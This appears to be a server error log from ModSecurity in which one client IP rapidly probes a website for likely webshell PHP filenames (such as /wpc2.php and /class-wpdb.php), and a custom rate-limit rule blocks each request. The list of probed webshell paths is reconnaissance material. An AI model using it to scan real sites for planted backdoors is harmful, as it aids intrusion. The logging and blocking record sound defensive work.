[Tue Jan 06 00:36:39.030821 2026] [:error] [pid 29187:tid 29189] [client 4.190.212.213:63128] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aVvol4SYYRtfmMXGZCqB0gAAAAA"]
[Tue Jan 06 00:36:39.612062 2026] [:error] [pid 60514:tid 60584] [client 4.190.212.213:24411] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aVvol270C0kefOIBEs9UwwAAAMk"]
[Tue Jan 06 00:36:39.905203 2026] [:error] [pid 60514:tid 60598] [client 4.190.212.213:24424] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aVvol270C0kefOIBEs9UxQAAANc"]
[Tue Jan 06 00:36:40.328733 2026] [:error] [pid 60514:tid 60592] [client 4.190.212.213:15907] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aVvomG70C0kefOIBEs9UyAAAANE"]
[Tue Jan 06 00:36:40.927293 2026] [:error] [pid 29187:tid 29193] [client 4.190.212.213:56108] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc2.php"] [unique_id "aVvomISYYRtfmMXGZCqB4QAAAAQ"]
[Tue Jan 06 00:36:41.641042 2026] [:error] [pid 29187:tid 29195] [client 4.190.212.213:63127] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aVvomYSYYRtfmMXGZCqB6wAAAAY"]
[Tue Jan 06 00:36:42.475539 2026] [:error] [pid 29187:tid 29200] [client 4.190.212.213:24409] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aVvomoSYYRtfmMXGZCqB8QAAAAs"]
[Tue Jan 06 00:36:42.745344 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:15913] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aVvomoSYYRtfmMXGZCqB9AAAABM"]
[Tue Jan 06 00:36:43.018243 2026] [:error] [pid 60510:tid 60557] [client 4.190.212.213:15888] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp670.php"] [unique_id "aVvom23HNEkuMRrTL0IDIAAAAIk"]
[Tue Jan 06 00:36:43.549760 2026] [:error] [pid 60514:tid 60584] [client 4.190.212.213:15910] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wpdb.php"] [unique_id "aVvom270C0kefOIBEs9U1gAAAMk"]
[Tue Jan 06 00:36:44.040836 2026] [:error] [pid 60510:tid 60572] [client 4.190.212.213:24402] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wpdb.php"] [unique_id "aVvonG3HNEkuMRrTL0IDJgAAAJg"]
[Tue Jan 06 00:36:44.702315 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:24415] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wpdb.php"] [unique_id "aVvonG70C0kefOIBEs9U3AAAAMU"]
[Tue Jan 06 00:36:45.327019 2026] [:error] [pid 60514:tid 60576] [client 4.190.212.213:24385] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wpdb.php"] [unique_id "aVvonW70C0kefOIBEs9U3wAAAME"]
[Tue Jan 06 00:36:46.449349 2026] [:error] [pid 60514:tid 60599] [client 4.190.212.213:15905] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ii5file.php"] [unique_id "aVvonm70C0kefOIBEs9U5wAAANg"]
[Tue Jan 06 00:36:47.198694 2026] [:error] [pid 60510:tid 60548] [client 4.190.212.213:56124] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ii5file.php"] [unique_id "aVvon23HNEkuMRrTL0IDMwAAAIA"]
[Tue Jan 06 00:36:47.502614 2026] [:error] [pid 29187:tid 29207] [client 4.190.212.213:15933] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ii5file.php"] [unique_id "aVvon4SYYRtfmMXGZCqCDwAAABI"]
[Tue Jan 06 00:36:47.915200 2026] [:error] [pid 60509:tid 60539] [client 4.190.212.213:63111] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ii5file.php"] [unique_id "aVvon6BSiT1_wVwKSvQb7QAAAFI"]
[Tue Jan 06 00:36:48.385645 2026] [:error] [pid 60514:tid 60590] [client 4.190.212.213:56070] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aVvooG70C0kefOIBEs9U7wAAAM8"]
[Tue Jan 06 00:36:49.000858 2026] [:error] [pid 60514:tid 60591] [client 4.190.212.213:15900] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aVvooW70C0kefOIBEs9U8wAAANA"]
[Tue Jan 06 00:36:49.449941 2026] [:error] [pid 29187:tid 29213] [client 4.190.212.213:15891] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aVvooYSYYRtfmMXGZCqCFwAAABg"]
[Tue Jan 06 00:36:49.718150 2026] [:error] [pid 60605:tid 60621] [client 4.190.212.213:24433] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "aVvooZGdDsTlcaRtgxQ6rwAAAQ4"]
[Tue Jan 06 00:36:50.136081 2026] [:error] [pid 60510:tid 60555] [client 4.190.212.213:63105] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aVvoom3HNEkuMRrTL0IDRgAAAIc"]
[Tue Jan 06 00:36:50.750044 2026] [:error] [pid 60509:tid 60531] [client 4.190.212.213:56086] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aVvooqBSiT1_wVwKSvQb9wAAAEo"]
[Tue Jan 06 00:36:51.293512 2026] [:error] [pid 29187:tid 29190] [client 4.190.212.213:15919] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aVvoo4SYYRtfmMXGZCqCIgAAAAE"]
[Tue Jan 06 00:36:52.089584 2026] [:error] [pid 60510:tid 60571] [client 4.190.212.213:24421] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TXL82e.php"] [unique_id "aVvopG3HNEkuMRrTL0IDVwAAAJc"]
[Tue Jan 06 00:36:52.566754 2026] [:error] [pid 60509:tid 60539] [client 4.190.212.213:63109] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data_5dc22ab3.php"] [unique_id "aVvopKBSiT1_wVwKSvQcAAAAAFI"]
[Tue Jan 06 00:36:53.110359 2026] [:error] [pid 60605:tid 60629] [client 4.190.212.213:15904] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data_5dc22ab3.php"] [unique_id "aVvopZGdDsTlcaRtgxQ6uwAAARY"]
[Tue Jan 06 00:36:53.527587 2026] [:error] [pid 60510:tid 60567] [client 4.190.212.213:24416] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data_5dc22ab3.php"] [unique_id "aVvopW3HNEkuMRrTL0IDZAAAAJM"]
[Tue Jan 06 00:36:54.061511 2026] [:error] [pid 60605:tid 60622] [client 4.190.212.213:24397] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/data_5dc22ab3.php"] [unique_id "aVvoppGdDsTlcaRtgxQ6xgAAAQ8"]
[Tue Jan 06 00:36:54.407611 2026] [:error] [pid 29187:tid 29205] [client 4.190.212.213:15908] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/strift.php"] [unique_id "aVvopoSYYRtfmMXGZCqCKgAAABA"]
[Tue Jan 06 00:36:54.695895 2026] [:error] [pid 60605:tid 60619] [client 4.190.212.213:55369] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/strift.php"] [unique_id "aVvoppGdDsTlcaRtgxQ6zAAAAQw"]
[Tue Jan 06 00:36:55.331009 2026] [:error] [pid 60605:tid 60610] [client 4.190.212.213:15926] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/strift.php"] [unique_id "aVvop5GdDsTlcaRtgxQ60gAAAQM"]
[Tue Jan 06 00:36:55.668417 2026] [:error] [pid 60605:tid 60622] [client 4.190.212.213:15892] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/strift.php"] [unique_id "aVvop5GdDsTlcaRtgxQ60wAAAQ8"]
[Tue Jan 06 00:36:56.159391 2026] [:error] [pid 60514:tid 60584] [client 4.190.212.213:63125] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jjhf.php"] [unique_id "aVvoqG70C0kefOIBEs9VBwAAAMk"]
[Tue Jan 06 00:36:56.473479 2026] [:error] [pid 60510:tid 60568] [client 4.190.212.213:63148] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jjhf.php"] [unique_id "aVvoqG3HNEkuMRrTL0IDdgAAAJQ"]
[Tue Jan 06 00:36:56.790371 2026] [:error] [pid 60605:tid 60620] [client 4.190.212.213:24442] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jjhf.php"] [unique_id "aVvoqJGdDsTlcaRtgxQ62wAAAQ0"]
[Tue Jan 06 00:36:57.051395 2026] [:error] [pid 60510:tid 60549] [client 4.190.212.213:55404] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jjhf.php"] [unique_id "aVvoqW3HNEkuMRrTL0IDeQAAAIE"]
[Tue Jan 06 00:36:57.385249 2026] [:error] [pid 60605:tid 60627] [client 4.190.212.213:15929] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aVvoqZGdDsTlcaRtgxQ63wAAARQ"]
[Tue Jan 06 00:36:58.022980 2026] [:error] [pid 29187:tid 29194] [client 4.190.212.213:24407] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aVvoqoSYYRtfmMXGZCqCMwAAAAU"]
[Tue Jan 06 00:36:58.485465 2026] [:error] [pid 60510:tid 60564] [client 4.190.212.213:15889] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aVvoqm3HNEkuMRrTL0IDhAAAAJA"]
[Tue Jan 06 00:36:58.761983 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:24413] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/l10n.php"] [unique_id "aVvoqoSYYRtfmMXGZCqCOAAAABM"]
[Tue Jan 06 00:36:59.255166 2026] [:error] [pid 29187:tid 29199] [client 4.190.212.213:15915] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aVvoq4SYYRtfmMXGZCqCPgAAAAo"]
[Tue Jan 06 00:36:59.540287 2026] [:error] [pid 29187:tid 29198] [client 4.190.212.213:24391] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aVvoq4SYYRtfmMXGZCqCQQAAAAk"]
[Tue Jan 06 00:36:59.865057 2026] [:error] [pid 60514:tid 60586] [client 4.190.212.213:15935] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aVvoq270C0kefOIBEs9VGAAAAMs"]
[Tue Jan 06 00:37:00.196148 2026] [:error] [pid 29187:tid 29197] [client 4.190.212.213:56092] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/core885.php"] [unique_id "aVvorISYYRtfmMXGZCqCRwAAAAg"]
[Tue Jan 06 00:37:00.659121 2026] [:error] [pid 60514:tid 60585] [client 4.190.212.213:55362] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yxr6m.php"] [unique_id "aVvorG70C0kefOIBEs9VHQAAAMo"]
[Tue Jan 06 00:37:01.127493 2026] [:error] [pid 60510:tid 60553] [client 4.190.212.213:63130] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yxr6m.php"] [unique_id "aVvorW3HNEkuMRrTL0IDigAAAIU"]
[Tue Jan 06 00:37:01.434537 2026] [:error] [pid 60514:tid 60583] [client 4.190.212.213:24398] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yxr6m.php"] [unique_id "aVvorW70C0kefOIBEs9VJAAAAMg"]
[Tue Jan 06 00:37:01.731501 2026] [:error] [pid 60514:tid 60580] [client 4.190.212.213:56071] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yxr6m.php"] [unique_id "aVvorW70C0kefOIBEs9VKAAAAMU"]
[Tue Jan 06 00:37:02.057396 2026] [:error] [pid 60514:tid 60584] [client 4.190.212.213:24426] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aVvorm70C0kefOIBEs9VLAAAAMk"]
[Tue Jan 06 00:37:02.336774 2026] [:error] [pid 29187:tid 29197] [client 4.190.212.213:24388] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aVvoroSYYRtfmMXGZCqCVwAAAAg"]
[Tue Jan 06 00:37:02.700315 2026] [:error] [pid 29187:tid 29212] [client 4.190.212.213:24432] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aVvoroSYYRtfmMXGZCqCWwAAABc"]
[Tue Jan 06 00:37:02.956288 2026] [:error] [pid 29187:tid 29210] [client 4.190.212.213:15884] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acxx.php"] [unique_id "aVvoroSYYRtfmMXGZCqCXgAAABU"]
[Tue Jan 06 00:37:03.774855 2026] [:error] [pid 60605:tid 60630] [client 4.190.212.213:55367] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVvor5GdDsTlcaRtgxQ68AAAARc"]
[Tue Jan 06 00:37:04.091586 2026] [:error] [pid 60509:tid 60545] [client 4.190.212.213:63135] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVvosKBSiT1_wVwKSvQcKQAAAFg"]
[Tue Jan 06 00:37:04.631234 2026] [:error] [pid 29187:tid 29213] [client 4.190.212.213:15873] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TPR9lLbsVBS.php"] [unique_id "aVvosISYYRtfmMXGZCqCawAAABg"]
